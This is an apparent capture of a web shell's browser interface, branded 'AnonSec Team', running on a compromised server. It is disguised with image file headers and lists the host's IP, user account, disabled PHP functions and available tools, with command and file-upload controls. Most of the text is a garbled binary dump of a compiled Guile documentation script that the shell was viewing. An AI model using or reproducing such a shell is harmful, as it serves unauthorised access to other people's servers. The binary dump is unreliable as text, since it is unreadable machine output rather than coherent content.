����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������ Xzourt Bypazz

Upload your file


�����x������x������C�     ���C   ����<�d"�������������� �������}�!1AQa"q2���#B��R��$3br� %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������������� ������w�!1AQaq"2�B���� #3R�br� $4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������ ��?��S��(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(��ÿØÿà JFIF ÿþ;GIF89;aGIF89;aGIF89;a AnonSec Team
AnonSec Team
Server IP : 103.191.208.227  /  Your IP : 3.144.252.243
Web Server : LiteSpeed
System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
User : mhmsfzcs ( 1485)
PHP Version : 8.1.31
Disable Function : show_source, system, shell_exec, passthru, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /lib64/lksctp-tools/../guile/2.0/ccache/scripts/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //lib64/lksctp-tools/../guile/2.0/ccache/scripts/doc-snarf.go
GOOF----LE-8-2.0�A]�4h!]gfoo�	gbar�	gfoo/bar�	f0.0.2�	gdoc-snarf-version�	gguile�	�	gdefine-module*�		�	
�	gscripts�	g	doc-snarf�	
�	gfilenameS�	fscripts/doc-snarf.scm�	gimportsS�	gice-9�	ggetopt-long�	�	�	gregex�	�	�	g
string-fun�	�	�	grdelim�	�	�	�	gexportsS�	 �	!gset-current-module�	"!�	#!�	$f$Snarf out documentation from a file.�	%g%summary�	&gversion�	'gsingle-char�	('v�	)gvalue�	*)�	+&(*�	,ghelp�	-'h�	.,-*�	/goutput�	0'o�	1)�	2/01�	3gtexinfo�	4't�	534*�	6glang�	7'l�	8671�	9+.258�	:gcommand-synopsis�	;gdisplay�	<f
doc-snarf �	=gnewline�	>gdisplay-version�	?f(Usage: doc-snarf [options...] inputfile
�	@f6  --help, -h              Show this usage information
�	Af3  --version, -v           Show version information
�	Bf?  --output=FILE, -o       Specify output file [default=stdout]
�	Cf3  --texinfo, -t           Format output as texinfo
�	Df5  --lang=[c,scheme], -l   Specify the input language
�	Egdisplay-help�	Ff	doc-snarf�	Gg
option-ref�	Hgstring->symbol�	Igstring-downcase�	Jfscheme�	Kg
snarf-file�	Lgmain�	Mgc�	Nf^/\*(.*)�	Of^ \*/�	Pf	^ \* (.*)�	Qf	^ \*-(.*)�	RfNOTHING AT THIS TIME!!!�	SMNOPQR�	Tgscheme�	Uf^;; (.*)�	Vf^;;\.�	Wf^;;-(.*)�	Xf	^\(define�	YTUVUWX�	ZSY�	[gsupported-languages�	\glist-ref�	]gassq-ref�	^gdocstring-start�	_g
docstring-end�	`gdocstring-prefix�	ag
option-prefix�	bgsignature-start�	cgstd-int-doc?�	dg	lang-parm�	egmemq�	fgmap�	ggcar�	hgerror�	if.doc-snarf: input language must be c or scheme.�	jgwrite-output�	kgsnarf�	lgformat-texinfo�	mgformat-plain�	ng
unread-string�	ogread�	pglength�	qgdefine�	rglambda�	sgstring?�	tgfind-std-int-doc�	ugseparate-fields-discarding-char�	vg
string-append�	wgsplit-prefixed�	xgopen-input-file�	ygmake-regexp�	zgeof-object?�	{gclose-input-port�	|greverse�	}gneutral�	~gregexp-exec�	g	read-line��g
doc-string��gmatch:substring��goptions��f
internal: ��gappend��gparse-entry��gentry��g
make-entry��gentry-symbol��gentry-signature��gentry-docstrings��g
entry-options��gentry-filename��g
entry-line��g
get-symbol��gmake-prototype��f��gcall-with-input-string��g	read-char��gjoin-symbols��gsymbol->string��f. ��f ��gwith-output-to-port��gopen-output-file��gcurrent-output-port��gfor-each��f
��f@c snarfed from ��f:��f@deffn procedure ��g
write-line��f@c ��f
@end deffn��fProcedure: ��f;; ��f
Snarfed from ��f�C5h@3v]h�]$CC~gbraz
		gfilenamefscripts/doc-snarf.scm�
	1
��		2	��	
	2	��	
	2	��		gnamegfoo/bar�CRR4

 54#>"G$%R9:R;<=h0�]4>"G4>"G6�gfilenamefscripts/doc-snarf.scm�
	`
��		a	��		a	��		a	��		a	��	*	a	5��		*
gnamegdisplay-version�C>R;?@ABCDhh�]4>"G4>"G4>"G4>"G4>"G6�gfilenamefscripts/doc-snarf.scm�
	e
��		f	��		f	��		f	��		g	��		g	��		g	��	'	h	��	+	h	��	0	h	��	9	i	��	=	j	��	B	i	��	K	k	��	O	k	��	T	k	��	`	l	��	b	l	��		b
gnamegdisplay-help�CERF:G,&3HI6J>E/Kh�Z-134�545454544	4
555$6$
64545�$
�6
6Rgargs
		�goptions	�ghelp-wanted		J�gversion-wanted		J�gtexinfo-wanted		J�glang		J�ginput		y�goutput		y�gfilenamefscripts/doc-snarf.scm�
	p
��	
	q	��		q	$��		q	��		q	��		q	��		r	��		r	+��	!	r	��	"	s	��	(	s	.��	+	s	��	,	t	��	2	t	.��	5	t	��	6	u	��	9	v	��	<	v	"��	B	v	6��	D	v	<��	F	v	"��	H	v	��	J	u	��	J	r	��	X	w	��	\	x	��	b	w	��	f	y	��	g	{	��	l	{	)��	o	{	��	p	|	��	v	|	*��	y	|	��	y	{	����	���	}	
����	����	����	��)		�


gnameg	doc-snarf�CRiLRZ[R\][^_`abc
hh�]45�$
"K�$"=�$	".�$	"�$	"	�$	"6�glang
		hgparm		hgfilenamefscripts/doc-snarf.scm�
�
��	�	��	�	��	h�	��		h	gnameg	lang-parm�CdRefg[hijklmhP]4455$"4>"G45$	"
6ginput
		Pgoutput		Pgtexinfo?			Pglang			Pgt			3gfilenamefscripts/doc-snarf.scm�
�
��	�	��	�	��	�	��	�	��	�	��	#�	
��	(�	��	6�	��	F�	��	P�	��		P	gnameg
snarf-file�CKRnopqrsh�)]
4>"G45�$�"o	45�$_�&T���$I����$=	4���5�$*����&4������5$	������CCCCCCCC	45�$@�&3���$&����$4���5$���C"��O"��K"��G"��C"��?C!gline
	�g
input-port	�gform		�gfilenamefscripts/doc-snarf.scm�
�
��	�	��	�	��	�	��	"�	��	&�	��	-�	��	4�	��	8�	��	:�	��	=�	��	A�	��	D�	��	F�	��	J�	��	M�	��	P�	��	T�	��	W�	��	\�	��	`�	��	a�	��	e�	��	g�	��	j�	"��	m�	��	q�	��	r�	��	w�	 ��	z�	��	~�	����	����	����	����	����	����	����	����	����	����	����	����	����	����	����	����	����	����	����	����	����	��5	�	gnamegfind-std-int-doc�g
documentationf�Unread @var{line} from @var{input-port}, then read in the entire form and
return the standard internal docstring if found.  Return #f if not.�CtRufvhe]L6]gline
		
gfilenamefscripts/doc-snarf.scm�
�	
��	
�	��		
Chh-13LO6`glines
			gfilenamefscripts/doc-snarf.scm�
�	��	�	��			


Ch�]
O6�gstring
		gprefix		gfilenamefscripts/doc-snarf.scm�
�
��	�	��			gnamegsplit-prefixed�CwRxyd^_`abz{|}~���ctw���h�u	]�4544554455445544554455"74	5$4
>"G6	&[4
5$*4545
�

	"���45	
�

	"��z	&m4
54
54
54
5$*4545
�
�

	"��$+45
45�
�

	"���$�45$&45$
45""$4455"454

5�
�

	"��Z$/454

5�
�

	"��%45
�

	"��	&24
54
54
5$+45
45�
�

	"���$�45$&45$
45""$4455"454

5�
�

	"�� $/454

5�
�

	"���45
�

	"���C45


	"���m	g
input-file
	�glang	�gi-p			�gdocstring-start		�g
docstring-end		)�gdocstring-prefix		9�g
option-prefix		I�gsignature-start		Y�gline		_�gstate			_�gdoc-strings	
	_�goptions		_�gentries		_�glno	
	_�gm	��gm0	Zgm1	Zgm2	Zgm3	Zgd	��gint-doc	��goptions	�gm1	}�gm2	}�gm3	}�gd	��gint-doc	�
goptions	
?gfilenamefscripts/doc-snarf.scm�
�
��	�	��		�	��	�	%��	�	2��	�	(��	�	2��	�	%��	�	��	�	%��	�	2��	%�	(��	'�	2��	)�	%��	)�	��	,�	%��	/�	2��	5�	(��	7�	2��	9�	%��	9�	��	<�	%��	?�	2��	E�	(��	G�	2��	I�	%��	I�	��	L�	%��	O�	2��	U�	(��	W�	2��	Y�	%��	Y�	��	_�	��	`�	��	j�	��	k�	����	����	����	����	����	����	
����	����	 ����	����	����	-����	9����	����	����	&����	*����	6����	���	����	���	���	��	��		��	��	
�� 	��(	 ��)		��3		��4		:��9
	��I	��O	
��P	��X	 ��[
	"��e
	��j	��z	���	
����	 ����	0����	 ����	����	)����	 ����	"����	)����	;����	)����	����	����	����	����	���	���	���	"���	+���	/���	���	���	��	��	
��	��	 ��	)��	-��	��'	��*	��:	��;	��C	 ��D	)��E	-��J	9��Z	��^	��b�	��c 	��l!	��u"	��} 	���#	
���%	���%	 ���&	"���&	���'	���%	���#	
����	 ����	0����	 ����	����	)����	 ����	"����	)����	;����	)����	����	����	����	���	��
)	��*	��*	"��*	+��*	/��+	��,+	��/-	��?*	��E#	
��F/	��N/	 ��O/	)��P/	-��Q0	��a0	��d2	��t/	��u4	��}4	 ��~4	)��4	-���4	9���4	����	����	����	+����	B����	����	$����	���	�	gnamegsnarf�CkR�h�]C�gsymbol
		g	signature		g
docstrings			goptions			gfilename			gline			gfilenamefscripts/doc-snarf.scm�
6
��	7	
��	7	��			gnameg
make-entry�C�Rhz]�Crge
		gfilenamefscripts/doc-snarf.scm�
8
��	9	��		gnamegentry-symbol�C�Rh}]	�Cuge
		gfilenamefscripts/doc-snarf.scm�
:
��	;	��		gnamegentry-signature�C�Rh~]	�Cvge
		gfilenamefscripts/doc-snarf.scm�
<
��	=	��		gnamegentry-docstrings�C�Rh{]	�Csge
		gfilenamefscripts/doc-snarf.scm�
>
��	?	��		gnameg
entry-options�C�Rh|]	�Ctge
		gfilenamefscripts/doc-snarf.scm�
@
��	A	��		gnamegentry-filename�C�Rh�]	�C�ge
		gfilenamefscripts/doc-snarf.scm�
B
��	D	��		gnameg
entry-line�g
documentationf4This docstring will not be snarfed, unfortunately...�C�R���|pH�	h�A]$54545454545�45��645
�$=445�545�45�4545�45��6454545�45��69g
docstrings
	�goptions	�gdef-line		�gfilename		�gline-no		�gfilenamefscripts/doc-snarf.scm�
I
��	K	��	M	��	N	��	N	+��	 O	��	+P	��	2P	��	3P	3��	:P	��	;P	��	=M	��	>Q	��	FQ	��	JK	��	MR	��	PR	%��	WR	 ��	YR	��	ZS	��	aS	��	bT	��	iT	��	jU	��	uV	��	|V	��	}V	2���V	���V	���R	���X	���X	���X	���X	-���Y	���Y	���Y	2���Y	���Y	���X	��)	�	gnamegparse-entry�C�R��o���hP�]	4>"G4>"G45�$6�$6C�gs-p
		Lgtmp	-	Lgfilenamefscripts/doc-snarf.scm�
a	��	b	��	c	��	'd	��	-b	��	2f		��	6e	��	<g		��	?h		��	Ce	��	Ii		��	Kk		��
		LCh�]6{gdef-line
		
gfilenamefscripts/doc-snarf.scm�
^
��	
_	��		
gnamegmake-prototype�C�R��ohH�]	4>"G4>"G45�$�C�$CC�gs-p
		Ggtmp	-	Ggfilenamefscripts/doc-snarf.scm�
p	��	q	��	r	��	's	��	-q	��	2u		��	6t	��	9v		��	=w		��	At	��	Fz		��		GCh]6wgdef-line
		
gfilenamefscripts/doc-snarf.scm�
m
��	
n	��		
gnameg
get-symbol�C�R�v����hH](C�$
456�(�64�54�56gs
		Cgfilenamefscripts/doc-snarf.scm�
~
��		��	
�		��	�		��		��	�	��	�	��	�		��	"�	��	&	��	+�	��	-�		��	0�	��	5�	(��	7�	��	9�	1��	:�	5��	?�	C��	A�	5��	C�		��		Cgnamegjoin-symbols�C�R����hR]LL6Jgfilenamefscripts/doc-snarf.scm�
�	��	
�	��		

Ch(�]$45"45O6�gentries
		%goutput-file		%gwriter			%gfilenamefscripts/doc-snarf.scm�
�
��	
�	��	�	*��	�	#��	%�	��		%	gnamegwrite-output�CjR;��=��������hb]6Zgs
		gfilenamefscripts/doc-snarf.scm�
�	��	�	��		C�;��h }]4>"G6ugs
		gfilenamefscripts/doc-snarf.scm�
�	��	�	��	�	!��	�	��	�	(��		C���h�]4>"G445>"G4>"G4>"G445>"G4>"G445>"G4>"G4	>"G44
5>"G4>"G44
5>"G445>"G6�gentry
	gfilenamefscripts/doc-snarf.scm�
�
��	�	��	�	��	�	��	�	��	�	��	#�	��	,�	��	<�	��	@�	��	E�	��	N�	��	Q�	��	\�	��	e�	��	i�	��	n�	��	w�	��	z�	����	����	����	����	����	����	����	����	����	����	����	����	����	����	���	���	���	��%	gnamegformat-texinfo�ClR;��=��hb]6Zgs
		gfilenamefscripts/doc-snarf.scm�
�	��	�	��		C�;��h }]4>"G6ugs
		gfilenamefscripts/doc-snarf.scm�
�	��	�	��	�	!��	�	��	�	(��		C�������h�]4>"G445>"G4>"G445>"G44	5>"G4
>"G445>"G4>"G44
5>"G4>"G6wgentry
	�gfilenamefscripts/doc-snarf.scm�
�
��	�	��	�	��	�	��	�	��	�	��	#�	��	,�	��	<�	��	A�	��	L�	��	U�	��	Z�	��	e�	��	n�	��	r�	��	w�	����	����	����	����	����	����	����	����	����	����	����	����	��	�gnamegformat-plain�CmRCngm
��gfilenamefscripts/doc-snarf.scm��	1
���	J	���	J
���	N
���	U	���	U
���	X	���	W
���	`
��3	e
��U	p
��\�
��^�	��a�
����
��	�
��
T�
��8�
����
���6
��U8
���:
���<
�� >
�� �@
��!�B
��$�I
��&�^
��(Rm
��)�~
��+S�
��/��
��3:�
��"	3<
C6

AnonSec - 2021